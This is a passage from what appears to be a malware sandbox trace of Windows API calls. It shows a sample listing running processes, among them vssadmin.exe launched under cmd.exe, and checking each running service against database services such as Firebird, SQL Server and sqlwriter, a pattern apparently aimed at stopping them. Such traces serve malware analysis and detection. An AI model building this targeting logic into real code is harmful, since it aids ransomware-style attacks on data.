th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0215.208] lstrlenW (lpString="indicescancellation.exe") returned 23 [0215.208] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0215.503] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0215.505] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0215.536] lstrlenW (lpString="desk.exe") returned 8 [0215.536] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.537] lstrlenW (lpString="svchost.exe") returned 11 [0215.537] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0215.538] lstrlenW (lpString="sppsvc.exe") returned 10 [0215.538] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0215.538] lstrlenW (lpString="svchost.exe") returned 11 [0215.538] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0215.539] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0215.539] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0215.540] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0215.540] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0215.540] lstrlenW (lpString="winhost.exe") returned 11 [0215.540] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0215.541] lstrlenW (lpString="cmd.exe") returned 7 [0215.541] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0215.542] lstrlenW (lpString="conhost.exe") returned 11 [0215.542] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0215.542] lstrlenW (lpString="vssadmin.exe") returned 12 [0215.542] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0215.543] lstrlenW (lpString="VSSVC.exe") returned 9 [0215.543] Process32NextW (in: hSnapshot=0x20c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0215.544] CloseHandle (hObject=0x20c) returned 1 [0215.544] Sleep (dwMilliseconds=0x1f4) [0216.488] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6401a8 [0216.488] EnumServicesStatusExW (in: hSCManager=0x6401a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0216.489] GetLastError () returned 0xea [0216.489] EnumServicesStatusExW (in: hSCManager=0x6401a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a0c628, cbBufSize=0x13a6, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a0c628, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0216.489] CloseServiceHandle (hSCObject=0x6401a8) returned 1 [0216.489] lstrlenW (lpString="Appinfo") returned 7 [0216.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0216.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0216.489] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0216.489] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0216.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0216.489] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0216.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0216.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0216.489] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0216.489] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0216.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0216.489] lstrlenW (lpString="AudioSrv") returned 8 [0216.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0216.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0216.490] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0216.490] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0216.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0216.490] lstrlenW (lpString="BFE") returned 3 [0216.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0216.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0216.490] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0216.490] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0216.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0216.490] lstrlenW (lpString="CryptSvc") returned 8 [0216.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0216.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0216.490] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0216.490] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0216.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0216.490] lstrlenW (lpString="CscService") returned 10 [0216.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0216.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0216.490] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0216.490] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0216.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0216.490] lstrlenW (lpString="DcomLaunch") returned 10 [0216.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0216.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0216.490] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0216.490] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0216.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0216.490] lstrlenW (lpString="Dhcp") returned 4 [0216.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0216.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0216.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0216.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0216.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0216.490] lstrlenW (lpString="Dnscache") returned 8 [0216.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0216.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0216.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0216.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0216.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0216.490] lstrlenW (lpString="DPS") returned 3 [0216.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0216.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0216.490] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0216.490] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0216.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0216.490] lstrlenW (lpString="eventlog") returned 8 [0216.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0216.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0216.491] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0216.491] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0216.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0216.491] lstrlenW (lpString="EventSystem") returned 11 [0216.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0216.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0216.491] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0216.491] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0216.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0216.491] lstrlenW (lpString="FontCache") returned 9 [0216.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0216.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0216.491] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0216.491] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0216.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0216.491] lstrlenW (lpString="gpsvc") returned 5 [0216.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0216.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0216.491] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0216.491] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0216.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0216.491] lstrlenW (lpString="iphlpsvc") returned 8 [0216.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0216.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0216.491] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0216.491] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0216.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0216.491] lstrlenW (lpString="LanmanServer") returned 12 [0216.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0216.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0216.491] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0216.491] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0216.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0216.491] lstrlenW (lpString="LanmanWorkstation") returned 17 [0216.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0216.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0216.491] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0216.491] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0216.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0216.491] lstrlenW (lpString="lmhosts") returned 7 [0216.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0216.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0216.491] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0216.491] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0216.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0216.491] lstrlenW (lpString="MMCSS") returned 5 [0216.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0216.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0216.491] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0216.492] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0216.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0216.492] lstrlenW (lpString="MpsSvc") returned 6 [0216.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0216.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0216.492] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0216.492] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0216.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0216.492] lstrlenW (lpString="Netman") returned 6 [0216.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0216.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0216.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0216.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0216.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0216.492] lstrlenW (lpString="netprofm") returned 8 [0216.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0216.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0216.492] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0216.492] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0216.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0216.492] lstrlenW (lpString="NlaSvc") returned 6 [0216.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0216.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0216.492] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0216.492] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0216.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0216.492] lstrlenW (lpString="nsi") returned 3 [0216.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0216.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0216.492] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0216.492] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0216.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0216.492] lstrlenW (lpString="PcaSvc") returned 6 [0216.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0216.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0216.492] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0216.492] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0216.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0216.492] lstrlenW (lpString="PlugPlay") returned 8 [0216.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0216.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0216.492] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0216.492] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0216.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0216.492] lstrlenW (lpString="Power") returned 5 [0216.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0216.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0216.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0216.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0216.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0216.492] lstrlenW (lpString="ProfSvc") returned 7 [0216.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0216.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0216.493] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0216.493] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0216.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0216.493] lstrlenW (lpString="RpcEptMapper") returned 12 [0216.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0216.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0216.493] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0216.493] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0216.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0216.493] lstrlenW (lpString="RpcSs") returned 5 [0216.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0216.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0216.493] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0216.493] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0216.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0216.493] lstrlenW (lpString="SamSs") returned 5 [0216.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0216.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0216.493] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0216.493] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0216.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0216.493] lstrlenW (lpString="Schedule") returned 8 [0216.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0216.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0216.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0216.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0216.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0216.493] lstrlenW (lpString="SENS") returned 4 [0216.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0216.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0216.493] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0216.493] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0216.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0216.493] lstrlenW (lpString="ShellHWDetection") returned 16 [0216.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0216.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0216.493] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0216.493] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0216.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0216.493] lstrlenW (lpString="Spooler") returned 7 [0216.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0216.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0216.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0216.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0216.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0216.493] lstrlenW (lpString="sppsvc") returned 6 [0216.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0216.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0216.494] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0216.494] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0216.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0216.494] lstrlenW (lpString="SysMain") returned 7 [0216.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0216.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0216.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0216.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0216.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0216.494] lstrlenW (lpString="Themes") returned 6 [0216.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0216.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0216.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0216.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0216.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0216.494] lstrlenW (lpString="TrkWks") returned 6 [0216.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0216.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0216.494] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0216.494] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0216.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0216.494] lstrlenW (lpString="UxSms") returned 5 [0216.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0216.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0216.494] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0216.494] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0216.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0216.494] lstrlenW (lpString="VSS") returned 3 [0216.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0216.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0216.494] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0216.494] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0216.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0216.494] lstrlenW (lpString="WdiServiceHost") returned 14 [0216.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0216.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0216.494] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0216.494] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0216.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0216.494] lstrlenW (lpString="WdiSystemHost") returned 13 [0216.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0216.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0216.494] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0216.494] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0216.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0216.494] lstrlenW (lpString="WinDefend") returned 9 [0216.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0216.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0216.494] lstrcmpiW (lpString1="sqlwriter", 